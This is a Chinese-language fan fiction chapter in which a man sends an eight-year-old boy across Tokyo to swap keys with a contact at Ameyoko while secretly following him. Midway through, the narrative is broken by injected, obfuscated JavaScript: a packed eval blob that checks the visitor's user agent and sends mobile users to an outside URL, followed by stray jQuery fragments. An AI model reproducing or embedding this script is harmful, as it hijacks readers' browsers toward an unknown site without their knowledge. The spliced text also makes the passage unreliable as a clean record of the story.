周六。十月底，早上的风已经凉透了，从开了个缝的窗户往里钻。
孔时雨起得不算早。九点多窝在沙发上，电视开着没在看，烟灰缸里堆了三个烟头。门铃响的时候他没动。
甚尔去开的门。
翔太抱着个足球站在门口，鼻子冻得通红，呼出来的气是白的。
“甚尔！去公园踢球吗？三对三，我们少一个人——健太说你跑得快，让我一定把你叫上！”
甚尔靠在门框上，看了那球一眼，没接话。
孔在里头开口：“去吧。”他掐了烟，“那活儿我自己跑一趟就完了，用不着你。”
蒲田那边一串东西，下午之前得送到上野。顺路，他自己去也行。
可甚尔已经蹲下穿鞋了。
“我去送东西。”他跟翔太说，“下次。”
“诶——”翔太怀里的球颠了一下，“那、那下周呢？下周六行不行？”
“行。”甚尔把鞋后跟踩好。
翔太“哦”了一声，抱着球走了，下楼梯的背影一蔫一蔫的。
孔看着门关上。
问都没问。放着球不去踢，自己把活儿接了。
阿一西。
——
孔从抽屉里拿那样东西的时候，甚尔已经站在玄关等着了。
一把钥匙。普通的黄铜钥匙，齿口磨得发亮，钥匙环上缠着一小截红绳，作用不明。孔把它塞进甚尔卫衣的口袋。
“揣着。别去摸它。”
“嗯。”
“我说真的。一路上别老往兜上摸。”孔抓起外套，“老去摸兜的人，跟脸上写着‘我兜里有东西’一样，一看就有鬼。”
甚尔的手本来已经抬起来，要往口袋上探，听见这话，停在半空，又放下了。
“坐车坐门边，站着也行，别往里坐，要不该下的时候挤不出来。”
甚尔点点头。
“上野，阿美横。卖鞋那家店门口，有个人跟你换。”孔从外套口袋里抽出一张照片，举到他面前。一个三十来岁的男人，灰夹克，“记住这张脸。他到了会找人，你先认出他。”
甚尔盯着那张照片看了几秒。
“好。”
孔把照片收回口袋。
“你把这把给他，他给你一把一样的。”孔顿了顿，“拿了就走。别打开看，别回头。”
“嗯。”
“走路要像知道自己去哪。”孔把外套套上，“一个小孩站在路口不知道往哪走，一条街的人都会注意他。你直着走，错了就回头，别停。”
“知道了。”
“还有，”孔开门，“我跟你一趟车。但咱俩不认识。你别看我，别等我，别靠近我。出了岔子，按我说的，自己走。”
甚尔抬眼看他。
“从下楼开始，就当不认识了。”
甚尔收回视线，先一步下了楼。
京浜东北线。周六上午，车厢半满，晃晃悠悠。
甚尔站在门边，一只手去够头顶的吊环。够不着，转而扶住侧面的扶手。另一只手垂在卫衣口袋外侧，没伸进去。
孔坐在斜对面，隔着三四个人，摊开一张报纸，半张脸埋在后头。
车一站一站地停。大森，大井町，品川。
品川上来一大拨人，拎购物袋的，背双肩包的。一个穿西装的男人挤到甚尔旁边，低头看了他两眼。大概就是觉得这么小的孩子一个人坐车，稀奇，没什么别的意思。
甚尔没回看他。眼睛望着窗外。秋天的太阳斜斜地从车窗那头照进来，落在他半边脸上，把那只翡翠绿的眼睛照得发亮。
那男人在田町下了车。
车又过新桥、东京、神田。对面站台上立着个背大提琴的人，琴盒比人还高。电车一开，就甩到后头去了。
孔翻了一页报纸。
这家伙坐车，跟在家里坐着没两样。不扒窗户，不晃腿，不东张西望。该看的看了——上来的人里谁离他近，谁手里拎着什么，眼睛一扫就收回去，谁也没察觉他扫过。
到上野，换车。
出了闸口，换乘的通道里全是人，周末的上野像个被捅了的蜂窝。甚尔个子矮，淹在大人的腿和包中间，黑脑袋在人缝里一沉一浮。
他没停。跟着人流走，到一个三岔的岔口，头顶的指示牌花花绿绿一整片——他往左偏了半步，错了，脚下没乱，半步之内又顺过来，跟上另一股往出口去的人。
一个知道自己去哪的小孩。
孔落在后头七八步，被人潮隔着。那半步偏出去的时候，他脚下动了一下。
差点就追上去了。
他没追。站住，等甚尔自己顺过来，然后才跟上。
出了站，广场上一群鸽子哄一下飞起来，绕了半圈，又落回原地。
往阿美横那个方向走，还没到正街，路两边就热闹起来了。一个卖鲷鱼烧的摊子，铁模一开一合，甜面糊的气味往外冒。再过去是一家卖军品的，迷彩服、旧军靴、不知真假的徽章，挂了一墙。再过去——一家中古游戏店，橱窗里堆着旧卡带，花花绿绿，游戏店门口摆着一台试玩机，屏幕闪着，有两个小学生蹲在那里，甚尔看了一眼。
他脚下没停，接着往前，走得不快。
到一个路口，他偏了，往右边一条窄巷走了几步——巷子尽头一座小神社的红鸟居，旁边一家柏青哥哗啦啦地响，门口蹲着个大白天就醉了的男人，缩着脖子。
甚尔站住，看了一眼。
然后退回来，重新往阿美横走。
孔跟在后头，那些东西他也一样一样走过。
这小鬼眼睛净往那些花花绿绿的地方瞟——鲷鱼烧，旧卡带。瞟一眼，不停，跟教过的一样。
就是东张西望，到底八岁。
——
阿美横在高架桥底下，两排店挤成一条窄缝，头顶时不时轰隆隆地碾过一趟车。卖鞋的、卖干货的、卖海鲜的挨着，吆喝声、烤串的烟、鱼腥味，混成一片。人贴着人往里挪。
接头的地方是一家卖运动鞋的店门口，鞋盒堆到半人高。
那人没来。
甚尔站在店招底下等。
人从他面前一拨一拨地过。有人擦着他肩膀撞了一下，他晃了晃，站稳，没出声。他的手垂在卫衣外侧的口袋边上，没伸进去。
五分钟。
他没踮脚找那个人，没四处看，没往墙上靠。就那么站着，等得理所当然。
孔站在十步开外一个干货摊子前，假装在挑海带。
这个点，公园那边八成开球了。三对三，少一个。
这小鬼放着球不踢，站在阿美横一个卖鞋的门口，等一个迟到的中间人。
——
公园那头，太阳底下，球被踢得老高，越过铁丝网，骨碌碌滚进边上的灌木丛。
“啊——！”几个孩子叫起来。
翔太跑去捡。钻进灌木，手背划了一道，球卡在枝桠里。
要是甚尔在就好了，他想。甚尔扔东西又快又准，上次运动会那回，沙包扔上去一下一个准。接球肯定也接得住，不会让它飞出网。
甚尔那家伙今天到底干什么去了。送东西。送什么东西要送一整天，连球都不来踢。
他嘟囔着把球扒拉出来，抱回场上。
没人接他这一句。
——
人来人往里，那张脸来了。
三十来岁，灰夹克。跟照片上一个人。
甚尔的眼睛在他脸上停了一下，没躲——对上了，又移开。
那人也看见了。卖鞋店门口站着的那个小孩，正看着他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17640541|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他手插兜，从人流里斜插过来，在甚尔旁边站住，弯下腰，像是顺道停下来系鞋带。
“孔呢？”他压着嗓子问，眼睛看着自己的鞋。
“今天我来。”甚尔说。
那人系鞋带的手停了一下。这才偏过头，看了甚尔一眼。
一个小孩。黑头发，绿眼睛，嘴上一道疤。他大概是真没料到。
“……你叫什么？”
“伏黑。”
就这两个字。那人等着，等他往下报个名，或者多说一句别的。
甚尔没有。绿眼睛平平地看着他，再没动静。
那人收回了视线。
孔在十步外，捏着一把海带，眼睛没离开过那头。他看着甚尔的手——那只手从卫衣兜里出来，很自然，很低，把缠红绳的钥匙塞进对方掌心，同一下，又接住对方递回来的另一把。一上一下，两秒钟。
谁也没多看谁一眼。那人先直起腰，往人群里一拐，没影了。
甚尔把那把新钥匙揣进兜。
可他没马上走。
任务完了，他站在阿美横口那儿，没动。也不是故意要干什么。孔能想个大概，大概就是，第一次一个人，站在东京这么一个地方。
头顶的高架，一趟电车轰隆隆碾过去，脚底都跟着震。人流到他跟前分两股，一股往左，一股往右。卖鱼的在喊，卖鞋的在喊。风从街口灌进来，卷起一张便利店的传单，在他脚边打了个转，又飘走了。
甚尔看那张传单飘走。
一个黑头发的小孩，站在那么大一条人河当中，被冲着，没动。
东京从他身边流过。
——
孔把海带放回摊子上，摊主“诶”了一声，他没理，往那小孩那边走了几步。
“甚尔。”他叫了一声，声音不高。
甚尔回头。
——
回大田区，天已经擦黑了。秋天日头短，五点多，天就沉下来了。
从蒲田站出来，两个人并排走。风更凉，刮在脸上。路边谁家扫到一堆落叶，没扫干净，踩上去脆脆地响。
孔点了根烟，火苗在风里抖了抖。
“那人迟到了。”他说。
“对。”
“你不着急？”
“还行。”甚尔走着，手插在兜里。“你说了，会有人来晚。晚来不算太不对劲。”
孔点点头，吸了口烟，烟头红了一下。
这话是他说过的，原话，一字不差。
孔没接着往下说。
走过一个路口，又一个。便利店的灯亮着，里头一片暖黄。
“我去趟超市。”孔说，“家里酱油没了。”
甚尔点头。
走了两步，他停住了。
路边支着个烤红薯的摊子，一个铁桶，盖子上冒着白烟，焦甜的味道混着凉风飘过来。摊主是个老太太，佝偻着腰坐在小马扎上。
“我要买那个。”甚尔说。
孔回过头。
自己开口要东西。少见。
——上回他主动要什么来着。带他玩三天。再上回……想不起来了，大概没有。
孔摸口袋。没零钱——身上常年揣的都是大票子，干这行没人找他要零钱。
他抽出一张一万的，递过去。
“剩下的留着吧。”
甚尔捏着那张钞票，看了一眼，又看了一眼那烤红薯。摊子上写着，一个三百日元。
孔已经转身往超市走了。
走出去两步，他自己琢磨起来。
那一万，算什么。
刚才那趟活，报酬？
……还是零花钱？
八岁小孩一个月该有多少钱花来着。
谁知道。
阿一西。